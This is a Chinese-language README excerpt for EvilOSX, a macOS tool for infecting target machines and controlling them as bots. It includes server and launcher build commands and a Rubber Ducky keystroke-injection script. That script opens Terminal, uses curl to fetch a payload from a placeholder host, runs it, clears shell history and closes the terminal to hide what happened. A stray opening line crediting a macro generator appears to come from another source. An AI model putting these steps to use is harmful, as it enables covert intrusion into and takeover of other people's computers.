宏生成器 由 Cedric Owens 编写
# 克隆或下载本仓库
$ git clone https://github.com/Marten4n6/EvilOSX
# 进入仓库目录
$ cd EvilOSX
# 安装服务器所需的依赖
$ sudo pip install -r requirements.txt
# 启动 GUI
$ python start.py
# 最后,在目标机器上运行构建的启动器
警告: 由于有效负载是根据目标系统唯一创建的(由服务器自动生成),因此当任何僵尸程序首次连接时,服务器必须正在运行。
对于想要通过 SSH 使用的用户,还有 CLI 模式:
# 创建启动器以感染目标
$ python start.py --builder
# 启动 CLI
$ python start.py --cli --port 1337
# 最后,在目标机器上运行构建的启动器

此项目旨在配合我的 Rubber Ducky 使用,以下是简单的脚本:
REM 下载并执行 EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM 另见:https://ducktoolkit.com/vidpid/
DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500
REM x 秒后关闭所有终端
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER
STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER
EvilOSX 将尽可能遵循语义化版本控制指南进行维护。
服务器和僵尸程序的版本号将按以下格式发布:
<主版本号>.<次版本号>.<修订号>
并遵循以下指南:
有关 SemVer 的更多信息,请访问 https://semver.org/。
请随时在此提交问题或功能请求。
有关创建模块的简单指南,请单击此处。